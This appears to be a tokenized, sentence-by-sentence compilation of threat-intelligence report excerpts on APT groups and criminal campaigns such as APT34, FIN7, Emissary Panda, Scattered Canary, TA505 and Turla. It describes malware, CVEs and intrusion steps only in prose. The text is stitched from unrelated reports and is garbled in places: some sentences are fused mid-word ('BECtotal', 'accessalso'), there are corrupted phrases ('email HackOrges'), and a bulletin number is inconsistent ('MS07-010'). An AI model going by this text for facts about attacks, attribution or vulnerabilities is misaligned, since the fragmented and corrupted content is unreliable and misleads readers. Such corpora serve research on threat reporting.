Based on this information ,it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure .
Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity .
Insikt Group enumerated all domains reported as being used by APT33 since January 2019 .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
Using data from Recorded Future Domain Analysis and combining it with data derived from Recorded Future Network Traffic Analysis , Insikt Group researchers were able to identify a small selection of likely targeted organizations impacted by suspected APT33 activity .
Following the exposure of a wide range of their infrastructure and operations by Symantec earlier this year , we discovered that APT33 , or closely aligned actors , reacted by either parking or reassigning some of their domain infrastructure .
Since late March , suspected APT33 threat actors have continued to use a large swath of operational infrastructure , well in excess of 1 , 200 domains , with many observed communicating with 19 different commodity RAT implants .
While we haven’t observed a widespread targeting of commercial entities or regional adversaries like in previously documented APT33 operations , the handful of targeted organizations that we did observe were mainly located in Saudi Arabia across a range of industries , indicating ongoing targeting aligned with geopolitical aims .
The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10 .
The new malware families , which we will examine later in this post , show APT34 relying on their PowerShell development capabilities , as well as trying their hand at Golang .
Additionally , with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE) , Intelligence , and Advanced Practices teams , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however , we believe APT34's strongest interest is gaining access to financial , energy , and government entities .
Additionally , with the assistance of FireEye Labs , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014 .
This CPE was created to ensure our customers are updated with new discoveries , activity and detection efforts related to this campaign , along with other recent activity from Iranian-nexus threat actors to include APT33 , which is mentioned in this updated FireEye blog post .
On June 19 , 2019 , FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances .
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations .
Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH .
This tool was previously observed during a Mandiant incident response in 2018 and , to date , solely utilized by APT34 .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH .
Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 .
One of the most prolific APT-style cyberattacks , specifically targeting the financial sector , is known as Carbanak .
Discovered in 2014 , the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process .
The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions .
Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents .
A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code , simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization , move laterally , exfiltrate data , and deploy anti-forensic and evasion tools .
However , this action doesn’t appear to have made a dent in the cybercriminal organization , as subsequent spear-phishing campaigns seem to have been reported from March until May 2018 .
Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees .
The Carbanak group , which has a long track record of compromising infrastructure belonging to financial institutions , is still active .
Its purpose remains to manipulate financial assets , such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals .
If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out .
The actors uploaded a variety of tools that they used to perform additional activities on the compromised network , such as dumping credentials , as well as locating and pivoting to additional systems on the network .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system , then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks .
We also found the China Chopper webshell on the SharePoint servers , which has also been used by the Emissary Panda threat group .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1 , 2019 and April 16 , 2019 , where actors uploaded a total of 24 unique executables across the three SharePoint servers .
The timeline shows three main clusters of activity across the three webshells , with activity occurring on two separate webshells (green and orange) within a very small window of time on April 2 , 2019 and the activity involving the third webshell two weeks later on April 16 , 2019 .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities .
We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
During our research into this attack campaign , Unit 42 gathered several tools that the Emissary Panda uploaded to the three webshells at the two government organizations .
We also observed the actors uploading the HyperBro backdoor to one of the webshells , as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity .
Lastly , we saw the actor uploading a custom backdoor called HyperBro , which has been associated with Emissary Panda operations in the past .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper .
We will provide an analysis of the HyperBro tool in an upcoming section .
However , using NCC Group’s research published in May 2018 , we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign .
The list also includes several hack tools , such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network .
we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files , so we do not know the final payload loaded by either of these DLLs .
Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
According to Microsoft’s advisory , this vulnerability was patched on March 12 , 2019 and we first saw the webshell activity on April 1 , 2019 .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
Once the adversary established a foothold on the targeted network , they used China Chopper and other webshells to upload additional tools to the SharePoint server to dump credentials , perform network reconnaissance and pivot to other systems .
We also observed Emissary Panda uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
Consequently , the Linux malware ecosystem is plagued by financial driven crypto-miners and DDoS botnet tools which mostly target vulnerable servers .
We also observed the actors uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
It has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
The group’s implants are characterized by the employment of information stealing tools among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
The finding shows that EvilGnome operates on an IP address that was controlled by the Gamaredon group two months ago .
FIN7 operations are linked to numerous intrusion attempts having targeted hundreds of companies since at least as early as 2015 .
The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year .
In addition , during the investigation , we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations .
In 2018-2019 , researchers of Kaspersky Lab’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures (TTPs) as the historic FIN7 , leading the researchers to believe that this threat actor had remained active despite the 2018 arrests .
One of the domains used by FIN7 in their 2018 campaign of spear phishing contained more than 130 email HackOrges , leading us to think that more than 130 companies had been targeted by the end of 2018 .
Interestingly , following some open-source publications about them , the FIN7 operators seems to have developed a homemade builder of malicious Office document using ideas from ThreadKit , which they employed during the summer of 2018 .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
Given FIN7’s previous use of false security companies , we decided to look deeper into this one .
This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions .
FIN7’s last campaigns were targeting banks in Europe and Central America .
After a successful penetration , FIN7 uses its own backdoors and the CobaltStrike framework or Powershell Empire components to hop to interesting parts of the network , where it can monetize its access .
AveMaria is a new botnet , whose first version we found in September 2018 , right after the arrests of the FIN7 members .
This threat actor stole suspected of stealing €13 million from Bank of Valetta , Malta earlier this year .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
They also use AutoIT droppers , password-protected EXE files and even ISO images .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
Interestingly , this actor targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
At the end of 2018 , while searching for new FIN7 campaigns via telemetry ,we discovered a set of activity that we temporarily called CopyPaste” from a previously unknown APT .
FIN7 and Cobalt used decoy 302 HTTP redirections too , FIN7 on its GRIFFON C2s before January 2018 , and Cobalt ,on its staging servers , similar to CopyPaste .
Quite recently , FIN7 threat actors typosquatted the brand Digicert” using the domain name digicert-cdn[.]com , which is used as a command and control server for their GRIFFON implants .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
The second one is CobaltGoblin Carbanak EmpireMonkey , which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers .
We observe , with various level of confidence , that there are several interconnected groups using very similar toolkits and the same infrastructure to conduct their cyberattacks .
The last piece is the newly discovered CopyPaste group , who targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
At the end of 2018 , the cluster started to use not only CobaltStrike but also Powershell Empire in order to gain a foothold on the victims’ networks .
FIN7 thus continues to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
MuddyWater is widely regarded as a long-lived APT group in the Middle East .
From February to April 2019 , MuddyWater launched a series of spear-phishing attacks against governments , educational institutions , financial , telecommunications and defense companies in Turkey , Iran , Afghanistan , Iraq , Tajikistan and Azerbaijan .
FIN7 thus continue to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
We also unearthed and detailed our other findings on MuddyWater , such as its connection to four Android malware variants and its use of false flag techniques , among others , in our report New MuddyWater Activities Uncovered: Threat Actors Used Multi-Stage Backdoors , False Flags , Android Malware , and More .
Instead , the campaign used compromised legitimate accounts to trick victims into installing malware .
Notably , the group’s use of email as infection vector seems to yield success for their campaigns .
We also observed MuddyWater’s use of multiple open source post-exploitation tools , which they deployed after successfully compromising a target .
The attacker also connected to the compromised servers from IP addresses that were linked to dynamic domain names used as C&Cs by the delivered payloads .
The main payload is usually Imminent Monitor RAT; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT .
In a case in June 2019 , we also noticed Warzone RAT being used .
Xpert RAT reportedly first appeared in 2011 .
The first version of Proyecto RAT” was published at the end of 2010 .
But with the West African gang we’ve named Scattered Canary , we have a deeper look at how business email compromise is connected to the rest of the cybercrime .
In a recent report , the FBI’s Internet Crime Complaint Center (IC3) reported that more than 20 , 000 businesses lost nearly $1.3 billion to BEC attacks in 2018 .
This investigation by the Agari Cyber Intelligence Division into the cybercriminal group we’ve named Scattered Canary offers unprecedented visibility into eleven years of fraud and criminal activities , and the growth of a 419 startup into a fully operational BEC business .
While this criminal organization’s activities now center around BEC , and extend to romance scams , credit card fraud , check fraud , fake job listings , credential harvesting , tax schemes , and more , these actors came from much humbler beginnings , starting with basic Craigslist scams in 2008 .
On November 29 , 2018 , Scattered Canary sent an attack email to Agari CFO Raymond Lim , enquiring as to his availability to send out a domestic wire transfer .
Many feel that they have a home team advantage living in Nigeria , where they are free to pay off law enforcement to look the other way .
Scattered Canary’s fraudulent history can be traced as far back as October 2008 , when the group first arrived on the cybercriminal circuit .
By March 2016 , one of Scattered Canary’s members had built enough trust with a romance victim—who we’ll call Jane—that she became a frequent source of new mule accounts for the group .
Alpha’s early role was fairly simple: engage with individuals , who he chose based on the goods they were selling , and then provide personal shipping addresses back to Omega .
By all accounts , late 2015 was the beginning of BEC for Scattered Canary .
The first type of attack Scattered Canary pivoted to was credential phishing .
Between July 2015 and February 2016 , Scattered Canary’s primary focus seemed to be mass harvesting general credentials using a Google Docs phishing page .
In the first few months of their credential phishing ventures , Scattered Canary’s sights were mostly set on Asian targets—Malaysia and Japan , in particular .
In November 2015 , the group started to focus on North American users , mostly in the United States .
This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BECtotal , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
For over eighteen months from March 2017 until November 2018 , Scattered Canary’s frequent enterprise-focused credential phishing campaigns almost exclusively targeted businesses in the United States and Canada .
In July 2018 , following a trend we have observed across the entire BEC threat landscape , Scattered Canary changed their preferred cash out mechanism from wire transfers to gift cards .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
Using personal information obtained from various sources , Scattered Canary started perpetrating fraud against US federal and state government agencies .
In total , 35 actors have been tied to Scattered Canary’s operations since the group emerged in 2008 .
Just as with romance scams ,actors make use of scripts and templates they can copy-and-paste without having to create something on their own .
When it comes to engaging targets , Scattered Canary frequently maximized efficiencies through the use of scripts , or as some members of the group call them , formats.” These formats are templated text documents that can contain several layers of phishing messages to send to potential victims .
Recently , we unveiled the existence of a UEFI rootkit , called LoJax , which we attribute to the Sednit group .
If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams , this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations .
This is a first for an APT group , and shows Sednit has access to very sophisticated tools to conduct its espionage operations .
Three years ago , the Sednit group unleashed new components targeting victims in various countries in the Middle East and Central Asia .
In the past , Sednit used a similar technique for credential phishing .
At the end of August 2018 ,the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components .
As we explained in our most recent blogpost about Zebrocy , the configuration of the backdoor is stored in in the resource section and is split into four different hex-encoded , encrypted blobs .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
It used GitHub and Slack as tools for communication between the malware and its controller .
On July 9 , we discovered a new version of SLUB delivered via another unique watering hole website .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative (ZDI) that was just patched this April .
Since we published out last report on SLUB , the backdoor has been updated and several improvements were implemented .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
During this attack , we found that the SLUB malware used two Slack teams sales-yww9809” and marketing-pwx7789 .
SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments .
In April 2018 , SWEED began making use of a previously disclosed Office exploit .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia , as well as other countries such as India , Japan , Argentina , the Philippines , and South Korea .
Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
TA505 is also using FlowerPippi (Backdoor.Win32.FLOWERPIPPI.A) , a new backdoor that we found them using in their campaigns against targets in Japan , India , and Argentina .
TA505 targeted Middle Eastern countries in a June 11 campaign that delivered more than 90% of the total spam emails to the UAE , Saudi Arabia , and Morroco .
It fetches the same FlawedAmmyy downloader .msi file , then downloads the FlawedAmmyy payload .
TA505 used Wizard (.wiz) files in this campaign , with FlawedAmmyy RAT as the final payload .
On June 14 , we saw TA505’s campaign still targeting UAE with similar tactics and techniques , but this time , some of the spam emails were delivered via the Amadey botnet .
It later delivered an information stealer named EmailStealer , ” which stolesimple mail transfer protocol (SMTP) credentials and email addresses in the victim’s machine .
On June 18 , the majority of the campaign’s spam emails were sent with the subject , Your RAKBANK Tax Invoice / Tax Credit Note” or Confirmation .
This campaign used the abovementioned .html file , malicious Excel/Word document VBA macro , the FlawedAmmyy payload , and Amadey .
On June 24 , we found another campaign targeting Lebanon with the ServHelper malware .
On June 17 , we observed the campaign’s spam emails delivering malware-embedded Excel files directly as an attachment .
On June 20 , we spotted the campaign’s spam emails delivering .doc and .xls files .
Nonetheless , these spam emails were not delivered to the UAE or Arabic-speaking users , but to banks in Asian countries such as India , Indonesia , and the Philippines .
After our analysis , we found that Proofpoint reported this malware as AndroMut as well .
In the campaign that targeted Japan , Philippines , and Argentina on June 20 , we found what seems to be a new , undisclosed malware , which we named Gelup .
Another new malware we found that TA505 is using in their campaigns last June 20 against targets in Japan , the Philippines , and Argentina is FlowerPippi .
The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation .
The attack , as stated by CyberInt , leveraged a command and control server located in Germany related to the TA505 actor: a very active group involved in cyber-criminal operation all around the world , threatening a wide range of high profile companies , active since 2014 .
The comparison of the infection chains reveals in both cases TA505 used a couple of SFX stages to deploy the RMS” software: a legitimate remote administration tool produced by the Russian company TektonIT .
The TA505 group is one of the most active threat groups operating since 2014 , it has traditionally targeted Banking and Retail industries , as we recently documented during the analysis of the Stealthy Email Stealer” part of their arsenal .
some code pieces are directly re-used in the analyzed campaigns , such as the i.cmd” and exit.exe” files , and , at the same time , some new components have been introduced , for instance the rtegre.exe” and the veter1605_MAPS_10cr0.exe” file .
In 2018 , Kaspersky Labs published a report that analyzed a Turla PowerShell loader that was based on the open-source project Posh-SecMod .
Turla is believed to have been operating since at least 2008 ,when it successfully breached the US military .
This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products .
However , it is likely the same scripts are used more globally against many traditional Turla targets in Western Europe and the Middle East .
In some samples deployed since March 2019 , Turla developers modified their PowerShell scripts in order to bypass the Antimalware Scan Interface (AMSI) .
Based on our research , SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans .
It is interesting to note that Turla operators used the free email provider GMX again , as in the Outlook Backdoor and in LightNeuron .
This new research confirms our forecast and shows that the Turla group does not hesitate to use open-source pen-testing frameworks to conduct intrusion .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus aka OilRig , APT34 .
Waterbug has been using Meterpreter since at least early 2018 and , in this campaign , used a modified version of Meterpreter , which was encoded and given a .wav extension in order to disguise its true purpose .
In all likelihood , Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover .
One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East , Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victim’s network .
These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors .
Curiously though , Waterbug also compromised other computers on the victim’s network using its own infrastructure .
Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug .
Aside from the attack involving Crambus infrastructure , this sample of Mimikatz has only been seen used in one other attack ,against an education target in the UK in 2017 .
The first observed evidence of Waterbug activity came on January 11 , 2018 , when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped on to a computer on the victim’s network .
In the case of the attack against the Middle Eastern target , Crambus was the first group to compromise the victim’s network , with the earliest evidence of activity dating to November 2017 .
Waterbug’s intrusions on the victim’s network continued for much of 2018 .
Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial accessalso reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool .
Waterbug also used an older version of PowerShell , likely to avoid logging .
In one of these campaigns , Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest .
The malware then uses WebDAV to upload the RAR archive to a Box account .
The DeepSight Managed Adversary and Threat Intelligence (MATI) team co-authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug (aka Turla) cyber espionage group , and methods of detecting and thwarting activities of this adversary .
The DeepSight MATI team authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug (aka Turla) cyber espionage group , and methods of detecting and thwarting activities of this adversary .
While reviewing a 2015 report⁵ of a Winnti intrusion at a Vietnamese gaming company , we identified a small cluster of Winnti⁶ samples designed specifically for Linux⁷ .
Following these reports , Chronicle researchers doubled down on efforts to try to unravel the various campaigns where Winnti was leveraged .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘Decrypt2’ , which is used to decode an embedded configuration similar to the core implant .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
We will see more from Zebrocy into 2019 on government and military related organizations .
The PowerShell script will look at the architecture of the system to check which malicious DLL files should be downloaded .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
The FBI issued a rare bulletin admitting that a group named APT6 hacked into US government computer systems as far back as 2011 and for years stole sensitive data .
FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123 .
Micro attributes this activity to MuddyWater , an Iran-nexus actor that has been active since at least May 2017 .
FireEye assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
FireEye has observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Kaspersky reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013 .
APT33 is the only group that Kaspersky has observed use the DROPSHOT dropper .
The cyber espionage group APT32 heavily obfuscates their backdoors and scripts , and Mandiant consultants observed APT32 implement additional command argument obfuscation in April 2017 .
In all Mandiant investigations to date where the CARBANAK backdoor has been discovered , the activity has been attributed to the FIN7 threat group .
Kaspersky released a similar report about the same group under the name Carbanak in February 2015 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware .
FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam’s manufacturing , consumer products , and hospitality sectors .
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions .
FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .
In May and June 2017 , FireEye has associated this campaign with APT19 , a group that we assess is composed of freelancers , with some degree of sponsorship by the Chinese government .
APT10 is a Chinese cyber espionage group that FireEye has tracked since 2009 .
In addition to the spear phishes , FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers .
FireEye’s visibility into the operations of APT28 – a group we believe the Russian government sponsors – has given us insight into some of the government’s targets , as well as its objectives and the activities designed to further them .
FireEye has tracked and profiled APT28 group through multiple investigations , endpoint and network detections , and continuous monitoring .
In April 2015 , FireEye uncovered the malicious efforts of APT30 , a suspected China-based threat group .
FireEye iSIGHT Intelligence has been tracking a pair of cybercriminals that we refer to as the Vendetta Brothers .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
McAfee concludes that some groups—and especially the Poetry Group —have shifted tactics to use Citadel in ways other than what it was originally intended for .
McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 .
In November 2017 , Talos observed the Group123 , which included a new version of ROKRAT being used in the latest wave of attacks .
In addition to TALOS investigation on KONNI , on July 18 2017 , BitDefender released a whitepaper on DarkHotel .
According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
ESET has also reported PowerShell scripts being used by Turla to provide direct , in-memory loading and execution of malware .
Additionally Kaspersky identified a new backdoor that we attribute with medium confidence to Turla .
Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government .
Symantec researchers have uncovered evidence that the Waterbug APT group has conducted a hostile takeover of an attack platform .
Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor .
Kaspersky found an active campaign by a Chinese APT group we call SixLittleMonkeys that uses a new version of the Microcin Trojan and a RAT that we call HawkEye as a last stager .
Trend Micro has previously reported the use of this malware in targeted attacks by the BlackTech group , primarily focused on cyber-espionage in Asia .
LuckyMouse activity detected by Palo Alto involved the attackers installing web shells on SharePoint servers to compromise government organizations in the Middle East .
Talos published its analysis of the BlackWater campaign , related to MuddyWater group .
Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3 .
Regarding other groups , Kaspersky discovered new activity related to ZooPark , a cyber-espionage threat actor that has focused mainly on stealing data from Android devices .
Recorded Future published an analysis of the infrastructure built by APT33 (aka Elfin) to target Saudi organizations .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
In a recent campaign , Kaspersky observed ScarCruft using a multi-stage binary to infect several victims and ultimately install a final payload known as ROKRAT – a cloud service-based backdoor .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
The threat actor behind the campaign , which Kaspersky believes to be the PLATINUM APT group , uses an elaborate , previously unseen , steganographic technique to conceal communication .
FireEye defined APT40 as the Chinese state-sponsored threat actor previously reported as TEMP.Periscope , Leviathan and TEMP.Jumper .
In January , Kaspersky identified new activity by the Transparent Tribe APT group aka PROJECTM and MYTHIC LEOPARD , a threat actor with interests aligned with Pakistan that has shown a persistent focus on Indian military targets .
OceanLotus was another actor active during this period , using a new downloader called KerrDown , as reported by Palo Alto .
ESET recently uncovered a new addition to OceanLotus’s toolset targeting Mac OS .
In mid-2018 , Kaspersky's report on Operation AppleJeus” highlighted the focus of the Lazarus threat actor on cryptocurrency exchanges .
Kaspersky also observed some activity from Gaza Team and MuddyWater .
Kaspersky wrote about LuckyMouse targeting national data centers in June .
Kaspersky also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China .
Kaspersky have observed similar activity in the past from groups such as Oilrig and Stonedrill , which leads us to believe the new attacks could be connected , though for now that connection is only assessed as low confidence .
In August 2019 , FireEye released the Double Dragon” report on our newest graduated threat group , APT41 .
Today , FireEye Intelligence is releasing a comprehensive report detailing APT41 , a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations .
Group-IB experts continuously monitor the Silence’ activities .
Group-IB has uncovered a hacker group , MoneyTaker , attacking banks in the USA and Russia .
Group-IB reveals the unknown details of attacks from one of the most notorious APT groups , Lazarus .
Finally , Kaspersky produced a summary report on Sofacy’s summertime activity .
Kaspersky were also able to produce two reports on Korean speaking actors , specifically involving Scarcruft and Bluenoroff .
Analysis of the payload allowed us to confidently link this attack to an actor Kaspersky track as BlackOasis .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
It contains a Word document in plaintext ( written to Bienvenue_a_Sahaja_Yoga_Toulouse.doc ) , along with an executable ( Update.exe ) and DLL ( McUpdate.dll ) .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
Additionally , these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case , Facebook .
However , the unique malware variant , BlackEnergy 3 , reemerged in Ukraine early in 2015 , where we had first found Sandworm Team .
The initial indicator of the attack was a malicious web shell that was detected on an IIS server , coming out of the w3wp.exe process .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
The malware may inject itself into browser processes and explorer.exe .
In the last few weeks , FormBook was seen downloading other malware families such as NanoCore .
